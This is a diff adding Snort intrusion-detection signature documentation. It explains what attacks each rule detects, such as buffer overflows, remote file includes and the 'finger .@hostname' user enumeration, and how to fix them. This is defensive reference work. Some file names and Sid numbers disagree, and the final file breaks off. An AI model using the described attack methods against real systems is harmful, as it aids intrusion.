@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3099
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/333.txt
+++ snort-2.7.0/doc/signatures/333.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+333
+
+--
+Summary:
+This event is generated when a remote user sends a finger request to .@hostname. This may indicate an attempt to discover information about users on the system.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+Finger is a directory service on UNIX and Linux operating systems that allows users to obtain basic information about other users, including account name, home directory, and login status. A malicious user could use the string "finger .@hostname" to obtain a list of each user on the system. This may enable the attacker to view unused or inactive accounts, which are more likely to have default passwords that are relatively easy to guess or susceptible to brute force password attempts. 
+
+--
+Affected Systems:
+Any UNIX/Linux distribution with older versions of finger enabled.
+
+--
+Attack Scenarios:
+An attacker issues a finger .@host to the vulnerable server and views a list of users. The attacker then attempts to guess passwords for users with the "Never logged in" status.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A non-malicious user using finger to obtain a user list will cause this rule to trigger.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable finger support on your servers or upgrade to a more recent version of the finger daemon.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000362.txt
+++ snort-2.7.0/doc/signatures/100000362.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000362
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Fastpublish CMS" application running on a webserver. Access to the file "rechnung.php" using a remote file being passed as the "config[fsBase]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "config[fsBase]" parameter in the "rechnung.php" script used by the "Fastpublish CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Fastpublish CMS
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/100000540.txt
+++ snort-2.7.0/doc/signatures/100000540.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000540
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "Enterprise Groupware" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "module" parameter in the "index.php" script 
+used by the "Enterprise Groupware" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Enterprise Groupware
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/612.txt
+++ snort-2.7.0/doc/signatures/612.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+612
+
+--
+Summary:
+This event is generated when a request is made via Remote Procedure Call (RPC) to list the logged in users. 
+
+--
+Impact:
+Reconnaissance.  A response to this request provides valid user names that can connect to the host.  
+
+--
+Detailed Information:
+The rusers RPC query is used to discover the users currently logged on to the host.  A response to this request provides valid user names that can connect to the host.  This information can be used to attempt a brute force guessing of associated passwords.
+
+--
+Affected Systems:
+All systems running rusers.
+
+--
+Attack Scenarios:
+An attacker may attempt to list all logged in users to gather information for a future brute force password attack.
+
+--
+Ease of Attack:
+Simple.   
+
+--
+False Positives:
+If a legitimate remote user is allowed to list users, this will generate a false positive.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0626
+
+--
--- snort-2.7.0.orig/doc/signatures/2469.txt
+++ snort-2.7.0/doc/signatures/2469.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2469
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2815.txt
+++ snort-2.7.0/doc/signatures/2815.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2815
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure begin_flavor_definition
+. This procedure is included in
+sys.dbms_repcat_fla.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1427.txt
+++ snort-2.7.0/doc/signatures/1427.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1427
+
+--
+Summary:
+This event is generated when an attempt is made to attack a device using SNMP v1.
+
+--
+Impact:
+Varies depending on the implementation. Ranges from Denial of Service (DoS) to code execution.
+
+--
+Detailed Information:
+SNMP is a widely adopted protocol for managing IP networks, including individual network devices, and devices in aggregate. 
+
+Several network devices come pre-installed with this protocol for management and monitoring.
+
+A number of vulnerabilities exist in SNMP v1, including a community string 
+buffer overflow, that will allow an attacker to execute arbitrary code or shutdown the service.
+
+--
+Affected Systems:
+Any implementation of SNMP v1 protocol
+	
+--
+Attack Scenarios:
+An attacker needs to send a specially crafted packet to UDP port 161 
+of a vulnerable device, causing a Denial of Service or possible execution of 
+arbitrary code.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable the SNMP v1 protocol, use SNMP v2 protocol as an alternative.
+
+Disable the use of SNMP for devices that do not need it.
+
+Use Ingress/Egress filtering on a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2002-03.html
+
+--
--- snort-2.7.0.orig/doc/signatures/351.txt
+++ snort-2.7.0/doc/signatures/351.txt
@@ -0,0 +1,64 @@
+SID:
+351
+--
+
+Rule:
+--
+
+Summary:
+This event is generated when an attack attempt is made against an ftp 
+server possibly running a vulnerable ftpd
+--
+
+Impact:
+Possible execution of commands on the affected server as with elevated 
+user privileges
+--
+
+Detailed Information:
+The Washington University ftp daemon (wu-ftpd) has a problem with very 
+log directory names. There is insufficent checking on directories 
+created by users allowing possible insertion of data into the stack.This
+can lead to execution of code with root / elevated user privileges.
+--
+
+Affected Systems:
+NcFTP Software NcFTPD 2.3.5
+Washington University wu-ftpd 2.4.2 (beta 18) VR10 
+RedHat wu-ftpd 2.4.2 b18-2 
+Washington University wu-ftpd 2.4.2 academ[BETA-18] 
+Probably others as well, susspect anything under Washington University wu-ftpd 2.6.0 for this particular exploit.
+--
+
+Attack Scenarios:
+A local attacker will attempt to create long named directories on the 
+ftp server wich are not checked correctly in the server code. This can 
+allow commands to be executed with elevated user privileges
+--
+
+Ease of Attack:
+simple, Exploit code exists
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Upgrade to newest version of wuftpd, or replace with something more secure.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1829.txt
+++ snort-2.7.0/doc/signatures/1829.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1829
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/826.txt
+++ snort-2.7.0/doc/signatures/826.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+826
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3154.txt
+++ snort-2.7.0/doc/signatures/3154.txt
@@ -0,0 +1,62 @@
+Rule: 
+
+--
+Sid: 
+2922
+
+-- 
+Summary: 
+This event is generated when an inverse query attempt is made using UDP.
+
+-- 
+
+Impact: 
+Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Bind 8 contains a programming error that may present an attacker with
+the opportunity to execute code of their choosing on an affected server.
+
+The error occurs in the handling of malformed transactions. When using
+UDP this can result in the attacker causing a heap overflow.
+
+--
+Affected Systems:
+	Bind 8.
+
+--
+Attack Scenarios: 
+An attacker needs to send a specially crafted and malformed query to an
+affected server.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1580.txt
+++ snort-2.7.0/doc/signatures/1580.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1580
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/314.txt
+++ snort-2.7.0/doc/signatures/314.txt
@@ -0,0 +1,61 @@
+Rule:
+--
+Sid:
+303
+
+--
+Summary:
+This event is generated when a specific inverse query is performed against your DNS server as a precursor to a possible TSIG (transaction signature) buffer overflow attack. 
+
+--
+Impact:
+Intelligence gathering.  This event generates as a result of an inverse query of the DNS server in an attempt to gain access to information required for the TSIG exploit.  An attacker will usually attempt a buffer overflow exploit if there is a response to the inverse query.
+
+--
+Detailed Information:
+This is an attempt to perform a specific DNS inverse query against your DNS server.  While this specific action is not harmful itself, it signals a precusor to a possible buffer overflow attack for a TSIG vulernability.  The inverse query is performed as a reconnaissance for the TSIG attack. 
+
+--
+Affected Systems:
+BIND Versions 4 and Versions 8 through 8.2 are susceptible to the inverse query information leak.
+
+--
+Attack Scenarios:
+If a DNS server responds to the inverse query and leaks information required for the actual attack, the attacker exploitsthe TSIG buffer overflow vulnerability.  If this is successful, the attacker gains access to the DNS server at the privilege of the "named" daemon.
+
+--
+Ease of Attack:
+Easy. Code is available to exploit the vulnerability.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+An attacker could change the exploit code.  For instance, an attacker could change the DNS identification number in the code to be something other than 0xABCD and the rule would not fire.
+
+--
+Corrective Action:
+Update to BIND versions greater than 8.2 to prevent the information leak.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/2302
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0010
+
+Arachnids:
+http://www.whitehats.com/info/IDS482
+
+
+--
--- snort-2.7.0.orig/doc/signatures/968.txt
+++ snort-2.7.0/doc/signatures/968.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+968
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions 98
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=http://support.microsoft.com:80/support/kb/articles/Q188/2/57.ASP&NoWebContent=1
+
+--
--- snort-2.7.0.orig/doc/signatures/3326.txt
+++ snort-2.7.0/doc/signatures/3326.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3326
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/381.txt
+++ snort-2.7.0/doc/signatures/381.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+381
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a Solaris host running SING software.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a Solaris host running SING software contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS448
+
+--
--- snort-2.7.0.orig/doc/signatures/1845.txt
+++ snort-2.7.0/doc/signatures/1845.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1845
+
+--
+Summary:
+This event is generated when a remote attacker sends an IMAP LIST
+command with a malformed and overly long argument to an internal IMAP
+server port. This may indicate an attempt to exploit a buffer overflow
+vulnerability in the IMAP LIST command. This may also affect other IMAP
+server implementations.
+
+--
+Impact:
+Possible shell access on the IMAP server, leading to arbitrary code
+execution. The attacker must have a valid IMAP account on the mail
+server to attempt this exploit.
+
+--
+Detailed Information:
+When a LIST command with an overly long argument is sent to a vulnerable
+IMAP server, a buffer overflow condition may occur. This can allow an
+attacker to execute arbitrary code from the command shell. Note that
+this exploit can only be attempted by a user with a valid IMAP account.
+
+--
+Affected Systems:
+	University of Washington imapd versions 10.234 or 12.264.
+
+--
+Attack Scenarios:
+An attacker with an IMAP account on the server can send a sufficiently
+long LIST command to the IMAP server, creating a buffer overflow
+condition. This can then allow the attacker to gain shell access on the
+compromised server, possibly leading to the execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple. Exploits exist, but the user must have a valid IMAP account on
+the server.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the patch for your current version of imapd appropriate to your
+operating system. 
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000635.txt
+++ snort-2.7.0/doc/signatures/100000635.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000635
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "template_delete.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"template_delete.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1876.txt
+++ snort-2.7.0/doc/signatures/1876.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1876
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2171.txt
+++ snort-2.7.0/doc/signatures/2171.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2171
+
+
+--
+Summary:
+This event is generated when a possible outgoing virus is detected. 
+
+--
+Impact:
+Informational event. An virus on an infected host may be attempting to 
+propogate.
+
+--
+Detailed Information:
+This event indicates that an outgoing email message possibly containing 
+a virus has been detected.
+
+This rule generates an event when a filename extension commonly used by 
+viruses is detected.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+This is indicative of a virus infection.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A legitimate attachment to an email may generate this event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of virus infection.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/3281.txt
+++ snort-2.7.0/doc/signatures/3281.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3281
+
+--
+Summary:
